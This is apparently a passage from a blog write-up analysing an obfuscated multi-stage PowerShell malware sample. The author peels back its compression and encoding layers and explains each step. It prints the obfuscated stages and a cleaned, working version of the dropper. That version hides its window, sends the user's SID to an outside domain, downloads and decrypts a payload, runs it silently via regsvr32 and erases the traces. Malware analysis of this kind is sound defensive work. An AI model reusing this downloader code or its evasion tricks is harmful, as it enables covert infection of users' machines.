      ),([type]("io.compression.compressionmode")).value::"decompress"
    )
  )
).("readtoend").invoke()

Once again, I replaced the iex at the beginning of the script with echo, and appended > output.txt to the end, in order to save the output to the specified text file. Finally, I replaced the "base-64-text-goes-here" string with the Base64 string I had removed earlier, then ran the script. This time, I got an error:

PS C:\> .\stage5.ps1
new-object : Cannot find an overload for "GZipStream" and the argument count: "2".
At C:\stage5.ps1:3 char:5
+     new-object("io.compression.gzipstream")(
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [New-Object], MethodException
    + FullyQualifiedErrorId : ConstructorInvokedThrowException,Microsoft.PowerShell.Commands.NewObjectCommand

I wasn’t sure how to fix the problem; despite all I’d learned by this point, I still didn’t know how to code in PowerShell, nor how to troubleshoot broken scripts. However, the script looked awfully similar to the one from the previous step. Looking back and forth between the two, while their layout was a little different, the only real change I could see was that the newer script used gzipstream instead of deflatestream. Perhaps I could simply change the previous script to suit my purpose? I made the change:

echo(
  new-object("system.io.streamreader")(
    (
      new-object("system.io.compression.gzipstream")(
        [io.memorystream](
          [type]("system.convert")
        )::("frombase64string").invoke(
          ("base-64-string-goes-here")
        ),
        ([type]("io.compression.compressionmode"))::"decompress"
      )
    ),([type]("system.text.encoding"))::"utf8"
  )
).("readtoend").invoke() > output.txt

Replacing "base-64-string-goes-here" with the previously-extracted Base64 value, I ran the script again, and this time it was a success!

Stage Three

Looking at the output.txt file, I once again found that it had non-printable characters. As before, I trimmed the first two characters off the file, and removed all null-bytes. The remaining script looked like this:

&('Yi')(("{42}{39}{19}{2}{56}{21}{52}{31}{23}{51}{33}{38}{0}{36}{5}{48}{15}{8}{34}{32}{41}{43}{30}{50}{66}{24}{12}{18}{57}{20}{14}{65}{67}{49}{9}{47}{22}{63}{54}{28}{69}{11}{59}{3}{13}{27}{16}{72}{35}{26}{17}{55}{58}{40}{46}{45}{61}{25}{44}{37}{70}{64}{73}{68}{71}{53}{62}{10}{1}{29}{60}{7}{6}{4}" -f'GUOJFmgL','/JZXRuXhI75WGUatlwqQcvCeK65K8PIMB2JsXBJFp5xJesI3mvJjZ5kfgecEy+uVLU3TbZDLCRv','TNBMclenwDR5eMUsW2xLeW1142GD01iB0G/OOVYW366c','DF','AAA==','eK','i9NLQyktXRzEi327j7fl/wFAFrWBOA4','sKY9WgH1ZRoZ','plWqrg7+QwDbtq5GL3N9VPsrFX8x0ygggVX1/QLaGrr9mebPtH4O/hYFe81oxFDvPWQiDFcECCxIKeQh','u29ql0ZzHbPKnxOFhujHIFkieqHFVYxJE6LbKYY+qYptcukCv','tpIl','JEpFDkZ5','dG1UBwtFt0mqlXWAN','6','G5rat6lDEV5aHgg','SKF+xBYEZJUww9Mp+qBf0f24/6eRNfs16e2DiBZFbLbAmT7lor+qlWi5qqfoNfDzwBnw','uaOnhZHx7zvQzTmkA60CJlHsAYcH05A','40KxDY5pl3bKJfcUneyDi+KeZOEdy6wAbE98oQpsF2+Iixs','AjxqY/NeWPbEX7ASI0U5hYeND6QyfKzgeX','8NyzvFb','w5/2YS1ChmauqqOtme3FnefKuNlO0Zl','I8NMNKMC64yIQJ0vySgop9V9Ikw3iQAD0N39NWEwyP','LZKJo','vftgsm/f','QmwD9+pUyioKPPzor0XOke0R/2HV','cOX','c4SqsnJfxR','NeRdf9jHBCYzKqZmQKW','Gl/jN/UDyQVeomGH9hbAyxew7fWvqF','v6D4UpcU9+Sl9nbwxqZoe1OpJU2Sek+9cWzAZpRNz2W8nxN0bPDOaWfKrgFxTjwvSVHH','qSeei334/C4WCS9zURNcw+3W6hrRWyoPPmTsIkVIcLDA1BT78+8','CxE2BsZ3','X','uCVzLGfPpRY/3eEH4','9iP2','YSBKh','8Q34oQefLa5ARQCjJlx6fB0cYeyQe0UUAj5ckIaPXnTVLpw8dIMQhXrYZ+Ec0hFuYGbx7IYuuFGCyT','5ipYr','uxSi16ejr4ATzBgEiItZbY8BmcN9','Z23+2+fbvRtFzUL4345kXVNW0qX3diZujRRxWVVXSjolsV3amopKKK0rXig8ZEd86umViM4NnBv1d4uIFvNvbwJRQP','xLx/pso6sadUxntDnA19nB7Aj','UhDzDy5U3cA7V','H4sIAAAAAAAEAGVXf3PaRhD9KoqG+kQwCgbHTWGYlmCZkuFXEQanhOkJOECpkKg4sF31vnt3VwIk5w8Lgv','ZIUJdWQeGCAdAoWYo+sb0FBtWJ7CWcH3F2qvKl3eYO7Pp+0fb7k/effHX/pCR3cLvAq0+HBl+5WACQpwmBni/DogjMzthuK1QxMn55U/Sp1L+xBvBle','OHPJxzkke1goFzk82BkHZ','HDJ/0y','86jBUtCtao/8t','sfhJ','kHLDtPbxYwN/YGbaduWdVA7LCaHSv06XAk6Cymw+ulwT','0rMWs3OTakx49s9VC0P9h/Q+lcGP','i9kSnEZhR','Wz0E32u2Bw28ijlx8YDVZHm8wBUEjLEBNN','4xDive4y5','iTr4Mp5dMK28znZE85Ew8G1XTZpO','UqJ6Q5gQ11gMchKedmgpn+UFADmkPoWqW0ch8w2vq4vl39I3KK2Mb1opxFMdOPo4wxhegzKeJeaG9IzGIFzhL1O774Nmnwge8sQRGGdPmxgmns5lxlR0pGuCipkWUgI/8E0YI6h1E34f2Msw3c8iZ0xk6mpxZJEeQKa5/7PO/hR4fzMDEEFig+DydXLE8SUWHPwKr8sUvgeszAj/iD2vkueXzcVVywbc7FOQuxybJRUvkdLr1F4hnTQWX/K','YJ','lP','drfnxf/niHdWoD1/SkzCf3wRad','mm9P+JnpUzl+DLA1dC4Srccdpwz','g+BH6KrBvSL1uG76Z','9UU6QRN1Tf/5yCg8KhGJNcY+qTVu4nZ43sSL','x8','4Q+5w3vkKwE2SHqeXgJGl/XbBLCd','3F1WsnN0LGnq','yq2i','Lv+dNS0T0os6fU+TLOXfOAvRKKixtIsn7gthjqUFSHdw5CR7eWqrONZIUsiuoHZO','vsbU52uGgSwzDbZ2E55U1MUJUnKDJQtK8PBENaFMY44FNPVxw+OPll6txufSdWHYYc5y4srNwAkRh+P1nC0C6QSXGp1Im6R84vooB8Hz/rODVcUGypsZugmqgwSmZrzcEeyPJBW3KfxYtq6','IOUBQQ4xT7bJaxYVg834FeLDBzAecTO','goRB4O8e1MeT8K3tKlNfBAfekzq96ahCAdG0lFaoa','dLo','BVc68xf0ypBlwd2tLmuwgkluYC6mc/PuiUvPchs','9MF9O/MmH5+lWJGyKd0GqRy/hKEp98HfDeiN7yjfkr+CW55/7E30md52mfGxzM3TB0o33H4AnsV7ttJslDQ3+l5YNMXPgCbFrekzUdDSLFOawUurYaWp','5dd9R4UA','oIhbPYoOa0leb6Wpwvkp8ZhgfO/WbghXd8IDGPx676gchhIwwdXHk3mMdR0EyJJeozd3HgsiPAwcUEKJvHyPD9Swd9'))

Right off the bat, I notice the call to the yi method. This method was defined in the previous script, though I removed it for simplicity. Basically, the yi method decoded and executed the gzip-compressed Base64-encoded commands provided. With this in mind, it appeared that this iteration of the script was simply calling a function that had previously been stored in memory, using that function to decode, decompress, and execute the Base64-encoded data passed in the script.

I got to work fixing the Base64 so that I could pass it into the script from the previous stage. When it was done, I had the following:

Yi(
  ("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")
)

I extracted the Base64 string, put it into the script from the last stage, and executed it to once more extract its contents into output.txt.

Stage Four

As before, the resulting text file required removal of the first two bytes, along with all null-bytes. The resulting script looked like this:

${O0T`hx}=  [type]("{5}{2}{1}{4}{6}{0}{3}" -F 'eMb','ecT','L','Ly','ion.As','reF','s') ;  .("{2}{0}{1}" -f'Et-It','EM','S') ("{2}{0}{1}" -f'riAbLE:','gXd','vA')  ( [type]("{2}{4}{5}{9}{0}{3}{7}{8}{6}{1}" -F 'uRiTY.','TiTY','Syst','pr','eM','.','NDoWsIDEN','iNCIPA','L.Wi','SEC')) ; &("{0}{1}"-f'SE','t') ("{0}{1}"-f 'ONR','0')  (  [TYPe]("{2}{1}{0}" -F'Ng','NCoDI','Text.e'));   .("{0}{1}" -f 'S','et')  ("{1}{0}{2}"-f'TeU','No','x')  ( [TypE]("{2}{0}{1}"-f 'E','Rt','Conv')  ) ;.("{0}{1}"-f 'set-ite','m')  ("{2}{0}{1}"-f'mD','c','VaRIablE:o')  ([Type]("{1}{0}" -f 'e','io.Fil')  ) ;  &("{1}{0}"-f 'ET','s') ("3sR"+"q48")  ([tYpe]("{1}{0}" -F'ex','REG') ) ;  ${s}=0;${G}=1;${F`A}=100;function Y(${iH}){$(${iH}.("{1}{0}{2}" -f 'st','sub','ring').Invoke(${G}) -replace('-',''));return ${_}};${Q`e}=(&("{3}{0}{1}{2}"-f't-','Pr','ocess','Ge') -Id ${P`id})."M`A`in`WIn`d`OwHandle";${c`A}=[Runtime.InteropServices.HandleRef];${XX}=&("{1}{0}{2}{3}"-f 'b','New-O','jec','t') ${C`A}(${g},${Q`E});${t}=&("{2}{1}{0}" -f 'ct','-Obje','New') ${c`A}(2,${s});((  ( .('gi')  ("{3}{2}{1}{0}"-f'Thx','o0','le:','VaRIAb') )."VAl`UE"::("{3}{1}{0}{2}" -f'i','adWithPart','alName','Lo').Invoke(("{0}{1}{2}"-f'Wind','owsBa','se'))).("{1}{0}"-f 'e','GetTyp').Invoke(("{6}{2}{5}{3}{4}{1}{0}"-f's','Method','n32.','ns','afeNative','U','MS.Wi')))::("{2}{0}{1}" -f 'Wind','owPos','Set').Invoke(${X`x},${T},${s},${S},${F`A},${fA},64.5*256);${I}=("{0}{2}{1}" -f 'om','o',' /ger');${i}=${I}.("{1}{0}" -f 'plit','s').Invoke(' ');${SS}=.('y')(( ${G`Xd}::("{1}{2}{0}"-f 'nt','GetCu','rre').Invoke())."u`SeR"."Va`Lue");${E}='ht'+("{1}{0}" -f ':/','tps')+${I}[${G}]+("{1}{0}" -f'a','nag')+'.c'+(${I}[${S},${g}] -replace '(\D{5})','/')+'?'+${Ss};&('Si') ("{0}{2}{1}" -f'V','iable:/f','ar') ${e}.("{1}{0}" -f'lace','rep').Invoke(' ','');.('Sv') 1 ("{2}{0}{3}{1}" -f'eb','ent','Net.W','Cli');&('SI') ("{0}{1}{2}" -f 'V','a','riable:C2') (.("{0}{1}{2}"-f'New-Obj','e','ct') (.('Gv') 1 -Va));&('SV') ('c') ("{2}{1}{0}"-f 'ata','loadD','Down');${o`Ad}=(([Char[]](&("{1}{0}{2}"-f 'ri','Va','able') ('C2') -ValueOn).((.("{1}{0}{2}"-f'ab','Vari','le') ('c') -Val))."invO`ke"((.("{2}{1}{0}"-f 'ble','ia','Var') ('f'))."VAL`Ue"))-Join'');${T`Fg}=${En`V:t`e`mp};${M`I}=(${d}=.("{1}{0}"-f 'ci','g') ${t`FG}|.("{2}{1}{0}" -f 'andom','et-r','g'))."Na`mE" -replace ".{4}$";${W}=${T`FG}+'\'+${MI}+'.';${V`M}=${O`Ad}.("{1}{3}{2}{0}" -f'g','su','in','bstr').Invoke(${s},${G});${P}=[int]${VM}*${f`A};${o`oa} =${o`Ad}.("{1}{0}"-f 'e','remov').Invoke(${S},${G});${P`l}=${o`Oa} -split'!';.("{0}{1}"-f'sa','l') ('mc') ("{0}{1}{2}"-f'r','egsvr','32');${JP}=  (&("{0}{2}{1}"-f'VaRi','Ble','a') ("{1}{0}" -f 'NR0','O')  -VaLUE  )::"U`TF8";function Va(${ZX}){${Sa}=  ${n`oTEuX}::("{0}{1}{3}{2}"-f 'F','r','se64String','omBa').Invoke(${zx});return ${S`A}};foreach(${II} in ${P`l}[${S}]){${g}=@();${p`Pt}=${vM}.("{2}{1}{0}"-f 'rArray','ha','ToC').Invoke();${i`i}=&('va')(${i`I});for(${JL}=${s}; ${jl} -lt ${Ii}."cou`Nt"; ${jL}++){${G} += [char]([Byte]${II}[${jl}] -bxor[Byte]${P`pT}[${j`L}%${P`pT}."c`OUNT"])}};${Vv}=${o`Oa}."repLa`ce"((${pL}[${S}]+"!"),${J`P}."G`EtS`TRing"(${g})); ( .("{1}{0}"-f'LE','varIaB')  ("{0}{1}"-f'o','mdC')  )."V`AluE"::("{2}{0}{1}" -f 'llByte','s','WriteA').Invoke(${w},(&('va')(${V`V} -replace ".{200}$")));if((.("{0}{1}"-f'g','ci') ${w})."Le`NGth" -lt ${p}){exit};.("{1}{0}"-f 'ep','sle') 9;&('mc') -s ${w};.("{1}{0}" -f 'p','slee') 13;  (&("{1}{0}" -f 'le','vARIAB')  ("{0}{1}" -f 'om','dC')  )."vA`LUE"::("{0}{2}{1}" -f 'WriteAll','s','Line').Invoke(${W},  (  &("{1}{0}{2}" -f'b','VARIA','le')  ("3Sr"+"q48") -VAlUEo  )::("{0}{1}" -f'replac','e').Invoke(${s`s},'\D',''))

As before, I removed backticks, conjoined any split strings, and ran the file through my decode.py script. This time, there didn’t seem to be any big Base64 strings, so I went ahead and converted the whole file to lowercase. Next, I simplified the ampersand- and period-preceded method calls, then standardized the variable assignments. I cleaned up the formatting, replaced variables with their values, and in the process, learned something new about how objects and methods are loaded and accessed.

In the code, I found the following variable definition:

${o0thx} = [type]("reflection.assembly")

Later, it was referenced:

(gi("variable:o0thx"))."value"::("loadwithpartialname").invoke(("windowsbase"))

I discovered that these two lines could be simplified into the following:

[reflection.assembly]::loadwithpartialname("windowsbase")

With this new knowledge, I was able to revise the code even further. By the time I finished cleaning up the file, I had not only revealed the way the code worked, but I had also learned a significant bit about how PowerShell operates.

Breaking it Down

Here’s the final code, cleaned up a bit:

function remove_hyphens(${instring}){
  $(${instring}.substring(1) -replace('-',''))
  return ${_}
}
function b64_decode(${zx}){
  ${sa} = [convert]::frombase64string(${zx})
  return ${sa}
}

${xx}=[runtime.interopservices.handleref]
${t}=new-object ${xx} (1,(ps -id $pid).mainwindowhandle)
${wb}=new-object ${xx}(2,0)
(([reflection.assembly]::loadwithpartialname("WindowsBase")).gettype(
   "MS.Win32.UnsafeNativeMethods"
))::setwindowpos(${t},${wb},0,0,100,100,16512)

${user_id}= remove_hyphens(
  ([system.security.principal.windowsidentity]::getcurrent()).user.value
)
${e}='https://geronaga.com /gero?'+${user_id}
${url} = ${e}.replace(' ','')

${payload}=(
    ([char[]](new-object ("net.webclient")).downloaddata(${url})
) -join '')

${mi} = (${d} = (gci ${env:temp} | get-random))."name" -replace ".{4}$"
${registry_modification_file} = ${env:temp}+'\'+${mi}+'.'
${first_byte} = ${payload}.substring(0,1)
${payload_length} = [int]${first_byte}*100
${encoded} = ${payload}.remove(0,1)
${chunks} = ${encoded} -split '!'
foreach(${chunk} in ${chunks}[0]){
  ${decoded} = @()
  ${byte_as_array} = ${first_byte}.tochararray()
  ${chunk} = b64_decode(${chunk})
  for(${counter}=0; ${counter} -lt ${chunk}."count"; ${counter}++){
    ${decoded} += [char](
      [byte]${chunk}[${counter}] -bxor [byte]${byte_as_array}[
        ${counter} % ${byte_as_array}."count"
      ]
    )
  }
}

${fixed_payload} = ${encoded}."replace"(
  (${chunks}[0]+"!"),[text.encoding]::utf8.getstring(${decoded})
)

[io.file]::writeallbytes(
  ${registry_modification_file},(
    b64_decode(${fixed_payload} -replace ".{200}$")
  )
)

if(${registry_modification_file}.length -lt ${payload_length}){exit}

sleep 9
regsvr32 -s ${registry_modification_file}
sleep 13

[io.file]::writealllines(
  ${registry_modification_file}, [regex]::replace(${user_id},'\d','')
)

Yeah, okay, it’s still pretty messy… But let me walk you through it, starting from the top.

To begin with, we have a couple function declarations. The first one takes a string as input, then removes all the hyphens (as well as the first letter):

function remove_hyphens(${instring}){
  $(${instring}.substring(1) -replace('-',''))
  return ${_}
}

The second function decodes a Base64 string:

function b64_decode(${zx}){
  ${sa} = [convert]::frombase64string(${zx})
  return ${sa}
}

These functions are used later in the code.

Next up, we have the following section of code:

${xx}=[runtime.interopservices.handleref]
${t}=new-object ${xx} (1,(ps -id $pid).mainwindowhandle)
${wb}=new-object ${xx}(2,0)
(([reflection.assembly]::loadwithpartialname("WindowsBase")).gettype(
   "MS.Win32.UnsafeNativeMethods"
))::setwindowpos(${t},${wb},0,0,100,100,16512)

This is a fancy little trick, which shrinks the PowerShell window and hides it from view. When analyzing this bit of code, I discovered that while most of PowerShell is case-insensitive, apparently these particular string values are case-sensitive. By converting everything to lower-case, I broke this code. It wasn’t until I found a similar snippet on Twitter that I was able to see what was going on and fix the code I’d broken. (Thanks, @mame82!)

By executing that code, the script can quickly hide from view, preventing the unsuspecting victim from seeing what the script is up to.

The next section of code gathers information about the current user, then assembles that information into a URL:

${user_id}= remove_hyphens(
  ([system.security.principal.windowsidentity]::getcurrent()).user.value
)
${e}='https://geronaga.com /gero?'+${user_id}
${url} = ${e}.replace(' ','')

First, it grabs the current users ID, which looks something like S-1-5-21-1106730850-3296803986-71776318-1001, then runs it through the remove_hyphens function, which removes the first character and all hyphens. The resulting string is just a bunch of numbers:

152111067308503296803986717763181001

Next, it appends those numbers to the string 'https://geronaga.com /gero?', resulting in a URL that looks kind of like this:

https://geronaga.com /gero?152111067308503296803986717763181001

Finally, it removes the spaces from the URL, resulting in the following:

https://geronaga.com/gero?152111067308503296803986717763181001

This URL is stored in the ${url} variable, which is then retrieved in the next line:

${payload}=(
  ([char[]](new-object ("net.webclient")).downloaddata(${url})) -join ''
)

This line connects to the URL, retrieves the data, and stores it in the ${payload} variable.

The next bit is somewhat tricky, but stick with me. I’ll go through it piece by piece.

${mi} = (${d} = (gci ${env:temp} | get-random))."name" -replace ".{4}$"
${registry_modification_file} = ${env:temp}+'\'+${mi}+'.'

This part picks a random file out of the current user’s temp directory, removes its file extension, and stores the new filename in the variable ${registry_modification_file}. This file will be used later on to store a series of registry modifications that will be made on the target system.

By using the name of a pre-existing file, this malware avoids suspicious-looking, randomly-generated filenames. Very clever.

${first_byte} = ${payload}.substring(0,1)
${payload_length} = [int]${first_byte}*100

This snippet of code takes the first byte from the downloaded payload, multiplies it by 100, and saves it in the ${payload_length} variable. This will be referenced later on, when the script checks the size of the decrypted payload.

Next, the script removes the first byte of the ${payload} variable and stores the rest in the ${encoded} variable:

${encoded} = ${payload}.remove(0,1)

Then it splits the payload into chunks, split wherever it finds an exclamation mark (!) character. These chunks are stored in the ${chunks} variable:

${chunks} = ${encoded} -split '!'

The following section of code took some time to understand, but I’ll do my best to explain it:

foreach(${chunk} in ${chunks}[0]){
  ${decoded} = @()
  ${byte_as_array} = ${first_byte}.tochararray()
  ${chunk} = b64_decode(${chunk})
  for(${counter}=0; ${counter} -lt ${chunk}."count"; ${counter}++){
    ${decoded} += [char](
      [byte]${chunk}[${counter}] -bxor [byte]${byte_as_array}[
        ${counter} % ${byte_as_array}."count"
      ]
    )
  }
}

This takes the first chunk from the ${chunks} array, decodes it using the b64_decode function, then decrypts the resulting string by using a bitwise XOR function on the data, using the contents of the ${first_byte} variable as the decryption key. Finally, it stores the decoded, decrypted value in the ${decoded} variable.

Next, it takes the original first chunk of the payload and replaces it with the decoded chunk:

${fixed_payload} = ${encoded}."replace"(
  (${chunks}[0]+"!"),[text.encoding]::utf8.getstring(${decoded})
)

Now the ${fixed_payload} contains the original payload, but with the first chunk Base64 decoded and XOR decrypted. Good to go, right? Not quite.

This next section of code strips the last 200 bytes from the ${fixed_payload} variable, then decodes the remainder using the b64_decode function once more, before finally writing the output into the temporary ${registry_modification_file} defined earlier:

[io.file]::writeallbytes(
  ${registry_modification_file},(
    b64_decode(${fixed_payload} -replace ".{200}$")
  )
)

This file contains a series of registry modifications which will be executed later in the script. Before this happens, the script wants to ensure that the file is the correct length, presumably to ensure that nothing went wrong along the way:

if(${registry_modification_file}.length -lt ${payload_length}){exit}

If the payload is less than the minimum payload length, the script quits without making any modifications to the registry. Otherwise, the script continues:

sleep 9
regsvr32 -s ${registry_modification_file}
sleep 13

After pausing for 9 seconds, the script finally executes the regsvr32 utility, executing the malicious registry changes stored in the registry modification file. Once this is complete, the script pauses for another 13 seconds.

Finally, the following snippet is executed:

[io.file]::writealllines(
  ${registry_modification_file}, [regex]::replace(${user_id},'\d','')
)

While it may not be immediately apparent, this snippet actually erases the contents of the registry modification file, thus covering the malware’s tracks. It might seem as if it writes the User ID to the file, but remember that the ${user_id} file contains just a series of numbers. By using the [regex]::replace() method, the script removes all digits (\d) from the string, resulting in an empty string.

And with that, the script is complete.

Conclusion

After all this work, I revealed that the attackers were serving their malicious registry modification payload from the geronaga.com domain. I attempted to connect to the site via an appropriately-crafted URL, but unfortunately, by the time I got to it, the malicious script had been removed from the site, and I got a 404 error instead. However, I was able to run a whois query on the domain, which revealed some interesting information:

Whois

While the registration information says that their contact is in Frankfurt, Denmark, their contact information refers to www.tnet.hk, a site based in Hong Kong. Looking at the raw whois data, I found additional information about the Eranet International Limited company which apparently owns the domain:

Registrar: ERANET INTERNATIONAL LIMITED
Registrar IANA ID: 1868
Registrar Abuse Contact Email: email@now.cn
Registrar Abuse Contact Phone: +86.7563810566

Their contact email is based in China, and their contact phone number has a +86 country code, which is the country code for China. The Eranet International company is based in the Guangdong province of China.

Based on this information, it would appear that the malware designers are from China, or else they want people to think they’re from China.

I must admit, I was a bit disappointed when I found that the site had been taken down. I had hoped to get my hands on the registry file they were distributing, to see if I could decrypt it and discern its contents. However, despite this loss, this malware analysis demonstrates the incredible lengths that these malicious actors were willing to go to obfuscate their malware.

The whole point of this script was to get a registry file onto the system. Most likely, that file was not the end-goal; it probably contained additional code that would download additional malware and infect the host further. (The system from which this malware sample was retrieve had been simultaneously infected with hundreds of additional pieces of malware, so this is a safe conclusion.) However, I was floored by the lengths to which the attackers went to ensure their registry modification file went unnoticed.

Here’s what they had to do. First, they had to write a web script that would:

  1. Receive a user’s ID number.
  2. Use it to craft a custom registry-modification file.
  3. Base64 encode the file.
  4. Append 200 bytes to the end.
  5. XOR-encrypt the file.
  6. Base64 encode it again.
  7. Prepend the encryption key (which was also a length-checking value) to the front of the file.
  8. Send this encrypted, double-encoded, specially-crafted payload back to the client.

Then, they wrote a script that would:

  1. Hide itself from view.
  2. Download this custom payload.
  3. Parse the payload.
  4. Decode it, decrypt it, and decode it again.
  5. Execute the changes on the host system.
  6. Cover its tracks.

Then they thoroughly obfuscated the file, compressed it using a GZipStream function, Base64 encoded it, and wrote a wrapper script to decode it… A wrapper script which would utilize a function that was defined in its own wrapper script.

Then they obfuscated that file, ran it through another GZipStream compression algorithm, Base64 encoded it, and wrote the second wrapper script, which contained the function used by both scripts to decode and deflate their contents.

They they obfuscated that file, compressed it script with a deflatestream function, Base64 encoded it, and wrapped it in yet another wrapper script. Which they once again obfuscated.

Four layers of obfuscation. Three layers of Base64 encoding and compression. All to hide a script which would download yet another compressed, encrypted, double-encoded payload.

Whoever wrote this really didn’t want anyone to figure out how it worked.

(Which, of course, is what drove me to take it apart. I love a good challenge.)

So there you have it, folks! I hope you enjoyed this as much as I did. If you have any questions or comments, you know where to reach me.

See you next time!